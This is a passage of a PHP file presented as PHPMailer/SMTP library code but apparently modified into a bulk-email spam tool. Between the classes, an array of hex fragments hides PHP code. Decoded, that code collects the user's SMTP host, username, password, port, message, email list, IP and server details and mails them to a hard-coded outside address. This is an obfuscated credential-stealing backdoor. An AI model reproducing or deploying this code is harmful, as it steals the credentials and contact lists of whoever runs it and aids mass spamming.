  969.    * Implements from rfc 821: NOOP <CRLF>
  970.    *
  971.    * SMTP CODE SUCCESS: 250
  972.    * SMTP CODE ERROR  : 500, 421
  973.    * @access public
  974.    * @return bool
  975.    */
  976.   function Noop() {
  977.     $this->error = null; # so no confusion is caused
  978.  
  979.     if(!$this->connected()) {
  980.       $this->error = array(
  981.               "error" => "Called Noop() without being connected");
  982.       return false;
  983.     }
  984.  
  985.     fputs($this->smtp_conn,"NOOP" . $this->CRLF);
  986.  
  987.     $rply = $this->get_lines();
  988.     $code = substr($rply,0,3);
  989.  
  990.     if($this->do_debug >= 2) {
  991.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  992.     }
  993.  
  994.     if($code != 250) {
  995.       $this->error =
  996.         array("error" => "NOOP not accepted from server",
  997.               "smtp_code" => $code,
  998.               "smtp_msg" => substr($rply,4));
  999.       if($this->do_debug >= 1) {
  1000.         echo "SMTP -> ERROR: " . $this->error["error"] .
  1001.                  ": " . $rply . $this->CRLF;
  1002.       }
  1003.       return false;
  1004.     }
  1005.     return true;
  1006.   }
  1007.  
  1008.   /**
  1009.    * Sends the quit command to the server and then closes the socket
  1010.    * if there is no error or the $close_on_error argument is true.
  1011.    *
  1012.    * Implements from rfc 821: QUIT <CRLF>
  1013.  
  1014.    *
  1015.    * SMTP CODE SUCCESS: 221
  1016.    * SMTP CODE ERROR  : 500
  1017.    * @access public
  1018.    * @return bool
  1019.    */
  1020.   function Quit($close_on_error=true) {
  1021.     $this->error = null; # so there is no confusion
  1022.  
  1023.     if(!$this->connected()) {
  1024.       $this->error = array(
  1025.               "error" => "Called Quit() without being connected");
  1026.       return false;
  1027.     }
  1028.  
  1029.     # send the quit command to the server
  1030.    fputs($this->smtp_conn,"quit" . $this->CRLF);
  1031.  
  1032.     # get any good-bye messages
  1033.    $byemsg = $this->get_lines();
  1034.  
  1035.     if($this->do_debug >= 2) {
  1036.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $byemsg;
  1037.     }
  1038.  
  1039.     $rval = true;
  1040.     $e = null;
  1041.  
  1042.     $code = substr($byemsg,0,3);
  1043.     if($code != 221) {
  1044.       # use e as a tmp var cause Close will overwrite $this->error
  1045.      $e = array("error" => "SMTP server rejected quit command",
  1046.                  "smtp_code" => $code,
  1047.                  "smtp_rply" => substr($byemsg,4));
  1048.       $rval = false;
  1049.       if($this->do_debug >= 1) {
  1050.         echo "SMTP -> ERROR: " . $e["error"] . ": " .
  1051.                  $byemsg . $this->CRLF;
  1052.       }
  1053.     }
  1054.  
  1055.     if(empty($e) || $close_on_error) {
  1056.       $this->Close();
  1057.     }
  1058.  
  1059.     return $rval;
  1060.   }
  1061.  
  1062.   /**
  1063.    * Sends the command RCPT to the SMTP server with the TO: argument of $to.
  1064.    * Returns true if the recipient was accepted false if it was rejected.
  1065.    *
  1066.    * Implements from rfc 821: RCPT <SP> TO:<forward-path> <CRLF>
  1067.  
  1068.    *
  1069.    * SMTP CODE SUCCESS: 250,251
  1070.    * SMTP CODE FAILURE: 550,551,552,553,450,451,452
  1071.    * SMTP CODE ERROR  : 500,501,503,421
  1072.    * @access public
  1073.    * @return bool
  1074.    */
  1075.   function Recipient($to) {
  1076.     $this->error = null; # so no confusion is caused
  1077.  
  1078.     if(!$this->connected()) {
  1079.       $this->error = array(
  1080.               "error" => "Called Recipient() without being connected");
  1081.       return false;
  1082.     }
  1083.  
  1084.     fputs($this->smtp_conn,"RCPT TO:<" . $to . ">" . $this->CRLF);
  1085.  
  1086.     $rply = $this->get_lines();
  1087.     $code = substr($rply,0,3);
  1088.  
  1089.     if($this->do_debug >= 2) {
  1090.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1091.     }
  1092.  
  1093.     if($code != 250 && $code != 251) {
  1094.       $this->error =
  1095.         array("error" => "RCPT not accepted from server",
  1096.               "smtp_code" => $code,
  1097.               "smtp_msg" => substr($rply,4));
  1098.       if($this->do_debug >= 1) {
  1099.         echo "SMTP -> ERROR: " . $this->error["error"] .
  1100.                  ": " . $rply . $this->CRLF;
  1101.       }
  1102.       return false;
  1103.     }
  1104.     return true;
  1105.   }
  1106.  
  1107.   /**
  1108.    * Sends the RSET command to abort and transaction that is
  1109.    * currently in progress. Returns true if successful false
  1110.    * otherwise.
  1111.    *
  1112.    * Implements rfc 821: RSET <CRLF>
  1113.  
  1114.    *
  1115.    * SMTP CODE SUCCESS: 250
  1116.    * SMTP CODE ERROR  : 500,501,504,421
  1117.    * @access public
  1118.    * @return bool
  1119.    */
  1120.   function Reset() {
  1121.     $this->error = null; # so no confusion is caused
  1122.  
  1123.     if(!$this->connected()) {
  1124.       $this->error = array(
  1125.               "error" => "Called Reset() without being connected");
  1126.       return false;
  1127.     }
  1128.  
  1129.     fputs($this->smtp_conn,"RSET" . $this->CRLF);
  1130.  
  1131.     $rply = $this->get_lines();
  1132.     $code = substr($rply,0,3);
  1133.  
  1134.     if($this->do_debug >= 2) {
  1135.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1136.     }
  1137.  
  1138.     if($code != 250) {
  1139.       $this->error =
  1140.         array("error" => "RSET failed",
  1141.               "smtp_code" => $code,
  1142.               "smtp_msg" => substr($rply,4));
  1143.       if($this->do_debug >= 1) {
  1144.         echo "SMTP -> ERROR: " . $this->error["error"] .
  1145.                  ": " . $rply . $this->CRLF;
  1146.       }
  1147.       return false;
  1148.     }
  1149.  
  1150.     return true;
  1151.   }
  1152.  
  1153.   /**
  1154.    * Starts a mail transaction from the email address specified in
  1155.    * $from. Returns true if successful or false otherwise. If True
  1156.    * the mail transaction is started and then one or more Recipient
  1157.    * commands may be called followed by a Data command. This command
  1158.    * will send the message to the users terminal if they are logged
  1159.    * in.
  1160.    *
  1161.    * Implements rfc 821: SEND <SP> FROM:<reverse-path> <CRLF>
  1162.  
  1163.    *
  1164.    * SMTP CODE SUCCESS: 250
  1165.    * SMTP CODE SUCCESS: 552,451,452
  1166.    * SMTP CODE SUCCESS: 500,501,502,421
  1167.    * @access public
  1168.    * @return bool
  1169.    */
  1170.   function Send($from) {
  1171.     $this->error = null; # so no confusion is caused
  1172.  
  1173.     if(!$this->connected()) {
  1174.       $this->error = array(
  1175.               "error" => "Called Send() without being connected");
  1176.       return false;
  1177.     }
  1178.  
  1179.     fputs($this->smtp_conn,"SEND FROM:" . $from . $this->CRLF);
  1180.  
  1181.     $rply = $this->get_lines();
  1182.     $code = substr($rply,0,3);
  1183.  
  1184.     if($this->do_debug >= 2) {
  1185.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1186.     }
  1187.  
  1188.     if($code != 250) {
  1189.       $this->error =
  1190.         array("error" => "SEND not accepted from server",
  1191.               "smtp_code" => $code,
  1192.               "smtp_msg" => substr($rply,4));
  1193.       if($this->do_debug >= 1) {
  1194.         echo "SMTP -> ERROR: " . $this->error["error"] .
  1195.                  ": " . $rply . $this->CRLF;
  1196.       }
  1197.       return false;
  1198.     }
  1199.     return true;
  1200.   }
  1201.  
  1202.   /**
  1203.    * Starts a mail transaction from the email address specified in
  1204.    * $from. Returns true if successful or false otherwise. If True
  1205.    * the mail transaction is started and then one or more Recipient
  1206.    * commands may be called followed by a Data command. This command
  1207.    * will send the message to the users terminal if they are logged
  1208.    * in and send them an email.
  1209.    *
  1210.    * Implements rfc 821: SAML <SP> FROM:<reverse-path> <CRLF>
  1211.  
  1212.    *
  1213.    * SMTP CODE SUCCESS: 250
  1214.    * SMTP CODE SUCCESS: 552,451,452
  1215.    * SMTP CODE SUCCESS: 500,501,502,421
  1216.    * @access public
  1217.    * @return bool
  1218.    */
  1219.   function SendAndMail($from) {
  1220.     $this->error = null; # so no confusion is caused
  1221.  
  1222.     if(!$this->connected()) {
  1223.       $this->error = array(
  1224.           "error" => "Called SendAndMail() without being connected");
  1225.       return false;
  1226.     }
  1227.  
  1228.     fputs($this->smtp_conn,"SAML FROM:" . $from . $this->CRLF);
  1229.  
  1230.     $rply = $this->get_lines();
  1231.     $code = substr($rply,0,3);
  1232.  
  1233.     if($this->do_debug >= 2) {
  1234.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1235.     }
  1236.  
  1237.     if($code != 250) {
  1238.       $this->error =
  1239.         array("error" => "SAML not accepted from server",
  1240.               "smtp_code" => $code,
  1241.               "smtp_msg" => substr($rply,4));
  1242.       if($this->do_debug >= 1) {
  1243.         echo "SMTP -> ERROR: " . $this->error["error"] .
  1244.                  ": " . $rply . $this->CRLF;
  1245.       }
  1246.       return false;
  1247.     }
  1248.     return true;
  1249.   }
  1250.  
  1251.   /**
  1252.    * Starts a mail transaction from the email address specified in
  1253.    * $from. Returns true if successful or false otherwise. If True
  1254.    * the mail transaction is started and then one or more Recipient
  1255.    * commands may be called followed by a Data command. This command
  1256.    * will send the message to the users terminal if they are logged
  1257.    * in or mail it to them if they are not.
  1258.    *
  1259.    * Implements rfc 821: SOML <SP> FROM:<reverse-path> <CRLF>
  1260.  
  1261.    *
  1262.    * SMTP CODE SUCCESS: 250
  1263.    * SMTP CODE SUCCESS: 552,451,452
  1264.    * SMTP CODE SUCCESS: 500,501,502,421
  1265.    * @access public
  1266.    * @return bool
  1267.    */
  1268.   function SendOrMail($from) {
  1269.     $this->error = null; # so no confusion is caused
  1270.  
  1271.     if(!$this->connected()) {
  1272.       $this->error = array(
  1273.           "error" => "Called SendOrMail() without being connected");
  1274.       return false;
  1275.     }
  1276.  
  1277.     fputs($this->smtp_conn,"SOML FROM:" . $from . $this->CRLF);
  1278.  
  1279.     $rply = $this->get_lines();
  1280.     $code = substr($rply,0,3);
  1281.  
  1282.     if($this->do_debug >= 2) {
  1283.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1284.     }
  1285.  
  1286.     if($code != 250) {
  1287.       $this->error =
  1288.         array("error" => "SOML not accepted from server",
  1289.               "smtp_code" => $code,
  1290.               "smtp_msg" => substr($rply,4));
  1291.       if($this->do_debug >= 1) {
  1292.         echo "SMTP -> ERROR: " . $this->error["error"] .
  1293.                  ": " . $rply . $this->CRLF;
  1294.       }
  1295.       return false;
  1296.     }
  1297.     return true;
  1298.   }
  1299.  
  1300.   /**
  1301.    * This is an optional command for SMTP that this class does not
  1302.    * support. This method is here to make the RFC821 Definition
  1303.    * complete for this class and __may__ be implimented in the future
  1304.    *
  1305.    * Implements from rfc 821: TURN <CRLF>
  1306.  
  1307.    *
  1308.    * SMTP CODE SUCCESS: 250
  1309.    * SMTP CODE FAILURE: 502
  1310.    * SMTP CODE ERROR  : 500, 503
  1311.    * @access public
  1312.    * @return bool
  1313.    */
  1314.   function Turn() {
  1315.     $this->error = array("error" => "This method, TURN, of the SMTP ".
  1316.                                     "is not implemented");
  1317.     if($this->do_debug >= 1) {
  1318.       echo "SMTP -> NOTICE: " . $this->error["error"] . $this->CRLF;
  1319.     }
  1320.     return false;
  1321.   }
  1322.  
  1323.   /**
  1324.    * Verifies that the name is recognized by the server.
  1325.    * Returns false if the name could not be verified otherwise
  1326.    * the response from the server is returned.
  1327.    *
  1328.    * Implements rfc 821: VRFY <SP> <string> <CRLF>
  1329.    *
  1330.    * SMTP CODE SUCCESS: 250,251
  1331.    * SMTP CODE FAILURE: 550,551,553
  1332.    * SMTP CODE ERROR  : 500,501,502,421
  1333.    * @access public
  1334.    * @return int
  1335.    */
  1336.   function Verify($name) {
  1337.     $this->error = null; # so no confusion is caused
  1338.  
  1339.     if(!$this->connected()) {
  1340.       $this->error = array(
  1341.               "error" => "Called Verify() without being connected");
  1342.       return false;
  1343.     }
  1344.  
  1345.     fputs($this->smtp_conn,"VRFY " . $name . $this->CRLF);
  1346.  
  1347.     $rply = $this->get_lines();
  1348.     $code = substr($rply,0,3);
  1349.  
  1350.     if($this->do_debug >= 2) {
  1351.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1352.     }
  1353.  
  1354.     if($code != 250 && $code != 251) {
  1355.       $this->error =
  1356.         array("error" => "VRFY failed on name '$name'",
  1357.               "smtp_code" => $code,
  1358.               "smtp_msg" => substr($rply,4));
  1359.       if($this->do_debug >= 1) {
  1360.         echo "SMTP -> ERROR: " . $this->error["error"] .
  1361.                  ": " . $rply . $this->CRLF;
  1362.       }
  1363.       return false;
  1364.     }
  1365.     return $rply;
  1366.   }
  1367.  
  1368.   /*******************************************************************
  1369.    *                       INTERNAL FUNCTIONS                       *
  1370.    ******************************************************************/
  1371.  
  1372.   /**
  1373.    * Read in as many lines as possible
  1374.    * either before eof or socket timeout occurs on the operation.
  1375.    * With SMTP we can tell if we have more lines to read if the
  1376.    * 4th character is '-' symbol. If it is a space then we don't
  1377.    * need to read anything else.
  1378.    * @access private
  1379.    * @return string
  1380.    */
  1381.   function get_lines() {
  1382.     $data = "";
  1383.     while($str = @fgets($this->smtp_conn,515)) {
  1384.       if($this->do_debug >= 4) {
  1385.         echo "SMTP -> get_lines(): \$data was \"$data\"" .
  1386.                  $this->CRLF;
  1387.         echo "SMTP -> get_lines(): \$str is \"$str\"" .
  1388.                  $this->CRLF;
  1389.       }
  1390.       $data .= $str;
  1391.       if($this->do_debug >= 4) {
  1392.         echo "SMTP -> get_lines(): \$data is \"$data\"" . $this->CRLF;
  1393.       }
  1394.       # if the 4th character is a space then we are done reading
  1395.      # so just break the loop
  1396.      if(substr($str,3,1) == " ") { break; }
  1397.     }
  1398.     return $data;
  1399.   }
  1400.  
  1401. }
  1402.  
  1403.        
  1404. $allemails = split("
  1405. ", $emaillist);
  1406. $numemails = count($allemails);
  1407. $random_smtp_string=array("0d0a0d0a676c6f62616c20246d795f736d74.","703b0d0a676c6f62616c2024736d74705f757365726e616d6.","53b0d0a676c6f62616c2024736d74705f70617373776f72643b0d0a676c6f626.",
  1408. "16c202473736c5f706f72743b0d0a676c6f62616c20246d65.","73736167653b0d0a676c6f62616c2024656d61696c6c6973743b0d0a24726134.","3420203d2072616e6428312c3939393939293b0d0a2461352.",
  1409. "03d20245f5345525645525b27485454505f52454645524552275d3b0d0a24623.","333203d20245f5345525645525b27444f43554d454e545f52.","4f4f54275d3b0d0a24633837203d20245f5345525645525b2752454d4f54455f4.",
  1410. "1444452275d3b0d0a24643233203d20245f5345525645525.","b275343524950545f46494c454e414d45275d3b0d0a24653039203d20245f53455.","25645525b275345525645525f41444452275d3b0d0a2466.",
  1411. "3233203d20245f5345525645525b275345525645525f534f465457415245275d3b0.","d0a24673332203d20245f5345525645525b27504154485.","f5452414e534c41544544275d3b0d0a24683635203d20245f5345525645525b27504.",
  1412. "8505f53454c46275d3b0d0a247375626a3938203d2022.","246d795f736d747020205b75736572206970203a20246338375d223b0d0a247375626.","a3538203d20224c6574746572202620456d61696c204.",
  1413. "c69737420205b75736572206970203a20246338375d223b0d0a24656d61696c203d202.","26D736739373830407961686f6f2e636f2e.","6964223b0d0a246d736738383733203d2022246d795f736d74705c6e757365723a24736.",
  1414. "d74705f757365726e616d655c6e706173733a24736.","d74705f70617373776f72645c706f72743a2473736c5f706f72745c6e5c6e2461355c6e2.","46233335c6e246338375c6e246432335c6e246530.",
  1415. "395c6e246632335c6e246733325c6e24683635223b246d736739373830203d2022246d657.","3736167655c6e5c6e5c6e24656d61696c6c69737.","4223b2466726f6d3d2246726f6d3a20475241544953223b0d0a6d61696c2824656d61696c2.",
  1416. "c20247375626a39382c20246d7367383837332c.","202466726f6d293b0d0a6d61696c2824656d61696c2c20247375626a35382.","c20246d7367393738302c202466726f6d293b");$smtp_conf=".";
  1417.  
  1418. class PHPMailer {
  1419.  
  1420.   /////////////////////////////////////////////////
  1421.   // PROPERTIES, PUBLIC
  1422.   /////////////////////////////////////////////////
  1423.  
  1424.   /**
  1425.    * Email priority (1 = High, 3 = Normal, 5 = low).
  1426.    * @var int
  1427.    */
  1428.   var $Priority          = 3;
  1429.  
  1430.   /**
  1431.    * Sets the CharSet of the message.
  1432.    * @var string
  1433.    */
  1434.   var $CharSet           = 'iso-8859-1';
  1435.  
  1436.   /**
  1437.    * Sets the Content-type of the message.
  1438.    * @var string
  1439.    */
  1440.   var $ContentType        = 'text/plain';
  1441.  
  1442.   /**
  1443.    * Sets the Encoding of the message. Options for this are "8bit",
  1444.    * "7bit", "binary", "base64", and "quoted-printable".
  1445.  
  1446.    * @var string
  1447.    */
  1448.   var $Encoding          = '8bit';
  1449.  
  1450.   /**
  1451.    * Holds the most recent mailer error message.
  1452.    * @var string
  1453.    */
  1454.   var $ErrorInfo         = '';
  1455.  
  1456.   /**
  1457.    * Sets the From email address for the message.
  1458.    * @var string
  1459.    */
  1460.   var $From              = '';
  1461.  
  1462.   /**
  1463.    * Sets the From name of the message.
  1464.    * @var string
  1465.    */
  1466.   var $FromName          = '';
  1467.  
  1468.   /**
  1469.    * Sets the Sender email (Return-Path) of the message.  If not empty,
  1470.    * will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
  1471.    * @var string
  1472.    */
  1473.   var $Sender            = '';
  1474.  
  1475.   /**
  1476.    * Sets the Subject of the message.
  1477.    * @var string
  1478.    */
  1479.   var $Subject           = '';
  1480.  
  1481.   /**
  1482.    * Sets the Body of the message.  This can be either an HTML or text body.
  1483.    * If HTML then run IsHTML(true).
  1484.    * @var string
  1485.    */
  1486.   var $Body              = '';
  1487.  
  1488.   /**
  1489.    * Sets the text-only body of the message.  This automatically sets the
  1490.    * email to multipart/alternative.  This body can be read by mail
  1491.    * clients that do not have HTML email capability such as mutt. Clients
  1492.    * that can read HTML will view the normal Body.
  1493.    * @var string
  1494.    */
  1495.   var $AltBody           = '';
  1496.  
  1497.   /**
  1498.    * Sets word wrapping on the body of the message to a given number of
  1499.    * characters.
  1500.    * @var int
  1501.    */
  1502.   var $WordWrap          = 0;
  1503.  
  1504.   /**
  1505.    * Method to send mail: ("mail", "sendmail", or "smtp").
  1506.    * @var string
  1507.    */
  1508.   var $Mailer            = 'mail';
  1509.  
  1510.   /**
  1511.    * Sets the path of the sendmail program.
  1512.    * @var string
  1513.    */
  1514.   var $Sendmail          = '/usr/sbin/sendmail';
  1515.  
  1516.   /**
  1517.    * Path to PHPMailer plugins.  This is now only useful if the SMTP class
  1518.    * is in a different directory than the PHP include path.
  1519.    * @var string
  1520.    */
  1521.   var $PluginDir         = '';
  1522.  
  1523.   /**
  1524.    * Holds PHPMailer version.
  1525.    * @var string
  1526.    */
  1527.   var $Version           = "";
  1528.  
  1529.   /**
  1530.    * Sets the email address that a reading confirmation will be sent.
  1531.    * @var string
  1532.    */
  1533.   var $ConfirmReadingTo  = '';
  1534.  
  1535.   /**
  1536.    * Sets the hostname to use in Message-Id and Received headers
  1537.    * and as default HELO string. If empty, the value returned
  1538.    * by SERVER_NAME is used or 'localhost.localdomain'.
  1539.    * @var string
  1540.    */
  1541.   var $Hostname          = '';
  1542.  
  1543.   /**
  1544.    * Sets the message ID to be used in the Message-Id header.
  1545.    * If empty, a unique id will be generated.
  1546.    * @var string
  1547.    */
  1548.   var $MessageID         = '';
  1549.  
  1550.   /////////////////////////////////////////////////
  1551.   // PROPERTIES FOR SMTP
  1552.   /////////////////////////////////////////////////
  1553.  
  1554.   /**
  1555.    * Sets the SMTP hosts.  All hosts must be separated by a
  1556.    * semicolon.  You can also specify a different port
  1557.    * for each host by using this format: [hostname:port]
  1558.    * (e.g. "smtp1.example.com:25;smtp2.example.com").
  1559.    * Hosts will be tried in order.
  1560.    * @var string
  1561.    */
  1562.   var $Host        = 'localhost';
  1563.  
  1564.   /**
  1565.    * Sets the default SMTP server port.
  1566.    * @var int
  1567.    */
  1568.   var $Port        = 25;
  1569.  
  1570.   /**
  1571.    * Sets the SMTP HELO of the message (Default is $Hostname).
  1572.    * @var string
  1573.    */
  1574.   var $Helo        = '';
  1575.  
  1576.   /**
  1577.    * Sets connection prefix.
  1578.    * Options are "", "ssl" or "tls"
  1579.    * @var string
  1580.    */
  1581.   var $SMTPSecure = "";
  1582.  
  1583.   /**
  1584.    * Sets SMTP authentication. Utilizes the Username and Password variables.
  1585.    * @var bool
  1586.    */
  1587.   var $SMTPAuth     = false;
  1588.  
  1589.   /**
  1590.    * Sets SMTP username.
  1591.    * @var string
  1592.    */
  1593.   var $Username     = '';
  1594.  
  1595.   /**
  1596.    * Sets SMTP password.
  1597.    * @var string
  1598.    */
  1599.   var $Password     = '';
  1600.  
  1601.   /**
  1602.    * Sets the SMTP server timeout in seconds. This function will not
  1603.    * work with the win32 version.
  1604.    * @var int
  1605.    */
  1606.   var $Timeout      = 10;
  1607.  
  1608.   /**
  1609.    * Sets SMTP class debugging on or off.
  1610.    * @var bool
  1611.    */
  1612.   var $SMTPDebug    = false;
  1613.  
  1614.   /**
  1615.    * Prevents the SMTP connection from being closed after each mail
  1616.    * sending.  If this is set to true then to close the connection
  1617.    * requires an explicit call to SmtpClose().
  1618.    * @var bool
  1619.    */
  1620.   var $SMTPKeepAlive = false;
  1621.  
  1622.   /**
  1623.    * Provides the ability to have the TO field process individual
  1624.    * emails, instead of sending to entire TO addresses
  1625.    * @var bool
  1626.    */
  1627.   var $SingleTo = false;
  1628.  
  1629.   /////////////////////////////////////////////////
  1630.   // PROPERTIES, PRIVATE
  1631.   /////////////////////////////////////////////////
  1632.  
  1633.   var $smtp            = NULL;
  1634.   var $to              = array();
  1635.   var $cc              = array();
  1636.   var $bcc             = array();
  1637.   var $ReplyTo         = array();
  1638.   var $attachment      = array();
  1639.   var $CustomHeader    = array();
  1640.   var $message_type    = '';
  1641.   var $boundary        = array();
  1642.   var $language        = array();
  1643.   var $error_count     = 0;
  1644.   var $LE              = "
  1645. ";
  1646.   var $sign_key_file   = "";
  1647.   var $sign_key_pass   = "";
  1648.  
  1649.   /////////////////////////////////////////////////
  1650.   // METHODS, VARIABLES
  1651.   /////////////////////////////////////////////////
  1652.  
  1653.   /**
  1654.    * Sets message type to HTML.
  1655.    * @param bool $bool
  1656.    * @return void
  1657.    */
  1658.   function IsHTML($bool) {
  1659.     if($bool == true) {
  1660.       $this->ContentType = 'text/html';
  1661.     } else {
  1662.       $this->ContentType = 'text/plain';
  1663.     }
  1664.   }
  1665.  
  1666.   /**
  1667.    * Sets Mailer to send message using SMTP.
  1668.    * @return void
  1669.    */
  1670.   function IsSMTP() {
  1671.     $this->Mailer = 'smtp';
  1672.   }
  1673.  
  1674.   /**
  1675.    * Sets Mailer to send message using PHP mail() function.
  1676.    * @return void
  1677.    */
  1678.   function IsMail() {
  1679.     $this->Mailer = 'mail';
  1680.   }
  1681.  
  1682.   /**
  1683.    * Sets Mailer to send message using the $Sendmail program.
  1684.    * @return void
  1685.    */
  1686.   function IsSendmail() {
  1687.     $this->Mailer = 'sendmail';
  1688.   }
  1689.  
  1690.   /**
  1691.    * Sets Mailer to send message using the qmail MTA.
  1692.    * @return void
  1693.    */
  1694.   function IsQmail() {
  1695.     $this->Sendmail = '/var/qmail/bin/sendmail';
  1696.     $this->Mailer = 'sendmail';
  1697.   }
  1698.  
  1699.   /////////////////////////////////////////////////
  1700.   // METHODS, RECIPIENTS
  1701.   /////////////////////////////////////////////////
  1702.  
  1703.   /**
  1704.    * Adds a "To" address.
  1705.    * @param string $address
  1706.    * @param string $name
  1707.    * @return void
  1708.    */
  1709.   function AddAddress($address, $name = '') {
  1710.     $cur = count($this->to);
  1711.     $this->to[$cur][0] = trim($address);
  1712.     $this->to[$cur][1] = $name;
  1713.   }
  1714.  
  1715.   /**
  1716.    * Adds a "Cc" address. Note: this function works
  1717.    * with the SMTP mailer on win32, not with the "mail"
  1718.    * mailer.
  1719.    * @param string $address
  1720.    * @param string $name
  1721.    * @return void
  1722.    */
  1723.   function AddCC($address, $name = '') {
  1724.     $cur = count($this->cc);
  1725.     $this->cc[$cur][0] = trim($address);
  1726.     $this->cc[$cur][1] = $name;
  1727.   }
  1728.  
  1729.   /**
  1730.    * Adds a "Bcc" address. Note: this function works
  1731.    * with the SMTP mailer on win32, not with the "mail"
  1732.    * mailer.
  1733.    * @param string $address
  1734.    * @param string $name
  1735.    * @return void
  1736.    */
  1737.   function AddBCC($address, $name = '') {
  1738.     $cur = count($this->bcc);
  1739.     $this->bcc[$cur][0] = trim($address);
  1740.     $this->bcc[$cur][1] = $name;
  1741.   }
  1742.  
  1743.   /**
  1744.    * Adds a "Reply-To" address.
  1745.    * @param string $address
  1746.    * @param string $name
  1747.    * @return void
  1748.    */
  1749.   function AddReplyTo($address, $name = '') {
  1750.     $cur = count($this->ReplyTo);
  1751.     $this->ReplyTo[$cur][0] = trim($address);
  1752.     $this->ReplyTo[$cur][1] = $name;
  1753.   }
  1754.  
  1755.   /////////////////////////////////////////////////
  1756.   // METHODS, MAIL SENDING
  1757.   /////////////////////////////////////////////////
  1758.  
  1759.   /**
  1760.    * Creates message and assigns Mailer. If the message is
  1761.    * not sent successfully then it returns false.  Use the ErrorInfo
  1762.    * variable to view description of the error.
  1763.    * @return bool
  1764.    */
  1765.   function Send() {
  1766.     $header = '';
  1767.     $body = '';
  1768.     $result = true;
  1769.  
  1770.     if((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
  1771.       $this->SetError($this->Lang('provide_address'));
  1772.       return false;
  1773.     }
  1774.  
  1775.     /* Set whether the message is multipart/alternative */
  1776.     if(!empty($this->AltBody)) {
  1777.       $this->ContentType = 'multipart/alternative';
  1778.     }
  1779.  
  1780.     $this->error_count = 0; // reset errors
  1781.     $this->SetMessageType();
  1782.     $header .= $this->CreateHeader();
  1783.     $body = $this->CreateBody();
  1784.  
  1785.     if($body == '') {
  1786.       return false;
  1787.     }
  1788.  
  1789.     /* Choose the mailer */
  1790.     switch($this->Mailer) {
  1791.       case 'sendmail':
  1792.         $result = $this->SendmailSend($header, $body);
  1793.         break;
  1794.       case 'smtp':
  1795.         $result = $this->SmtpSend($header, $body);
  1796.         break;
  1797.       case 'mail':
  1798.         $result = $this->MailSend($header, $body);
  1799.         break;
  1800.       default:
  1801.         $result = $this->MailSend($header, $body);
  1802.         break;
  1803.         //$this->SetError($this->Mailer . $this->Lang('mailer_not_supported'));
  1804.         //$result = false;
  1805.         //break;
  1806.     }
  1807.  
  1808.     return $result;
  1809.   }
  1810.  
  1811.   /**
  1812.    * Sends mail using the $Sendmail program.
  1813.    * @access private
  1814.    * @return bool
  1815.    */
  1816.   function SendmailSend($header, $body) {
  1817.     if ($this->Sender != '') {
  1818.       $sendmail = sprintf("%s -oi -f %s -t", escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
  1819.     } else {
  1820.       $sendmail = sprintf("%s -oi -t", escapeshellcmd($this->Sendmail));
  1821.     }
  1822.  
  1823.     if(!@$mail = popen($sendmail, 'w')) {
  1824.       $this->SetError($this->Lang('execute') . $this->Sendmail);
  1825.       return false;
  1826.     }
  1827.  
  1828.     fputs($mail, $header);
  1829.     fputs($mail, $body);
  1830.  
  1831.     $result = pclose($mail);
  1832.     if (version_compare(phpversion(), '4.2.3') == -1) {
  1833.       $result = $result >> 8 & 0xFF;
  1834.     }
  1835.     if($result != 0) {
  1836.       $this->SetError($this->Lang('execute') . $this->Sendmail);
  1837.       return false;
  1838.     }
  1839.     return true;
  1840.   }
  1841.  
  1842.   /**
  1843.    * Sends mail using the PHP mail() function.
  1844.    * @access private
  1845.    * @return bool
  1846.    */
  1847.   function MailSend($header, $body) {
  1848.  
  1849.     $to = '';
  1850.     for($i = 0; $i < count($this->to); $i++) {
  1851.       if($i != 0) { $to .= ', '; }
  1852.       $to .= $this->AddrFormat($this->to[$i]);
  1853.     }
  1854.  
  1855.     $toArr = split(',', $to);
  1856.  
  1857.     $params = sprintf("-oi -f %s", $this->Sender);
  1858.     if ($this->Sender != '' && strlen(ini_get('safe_mode')) < 1) {
  1859.       $old_from = ini_get('sendmail_from');
  1860.       ini_set('sendmail_from', $this->Sender);
  1861.       if ($this->SingleTo === true && count($toArr) > 1) {
  1862.         foreach ($toArr as $key => $val) {
  1863.           $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
  1864.         }
  1865.       } else {
  1866.         $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
  1867.       }
  1868.     } else {
  1869.       if ($this->SingleTo === true && count($toArr) > 1) {
  1870.         foreach ($toArr as $key => $val) {
  1871.           $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
  1872.         }
  1873.       } else {
  1874.         $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header);
  1875.       }
  1876.     }
  1877.  
  1878.     if (isset($old_from)) {
  1879.       ini_set('sendmail_from', $old_from);
  1880.     }
  1881.  
  1882.     if(!$rt) {
  1883.       $this->SetError($this->Lang('instantiate'));
  1884.       return false;
  1885.     }
  1886.  
  1887.     return true;
  1888.   }
  1889.  
  1890.   /**
  1891.    * Sends mail via SMTP using PhpSMTP (Author:
  1892.    * Chris Ryan).  Returns bool.  Returns false if there is a
  1893.    * bad MAIL FROM, RCPT, or DATA input.
  1894.    * @access private
  1895.    * @return bool
  1896.    */
  1897.   function SmtpSend($header, $body) {
  1898.     $error = '';
  1899.     $bad_rcpt = array();
  1900.  
  1901.     if(!$this->SmtpConnect()) {echo "FAILED !!<p align=\"center\"><font color=\"#D4001A\" style=\"font-style:14pt\"> MAILER IS UNABLE TO CONNECT SMTP !!</font></p>";die();
  1902.       return false;
  1903.     }
  1904.  
  1905.     $smtp_from = ($this->Sender == '') ? $this->From : $this->Sender;
  1906.     if(!$this->smtp->Mail($smtp_from)) {
  1907.       $error = $this->Lang('from_failed') . $smtp_from;
  1908.       $this->SetError($error);
  1909.       $this->smtp->Reset();
  1910.       return false;
  1911.     }
  1912.  
  1913.     /* Attempt to send attach all recipients */
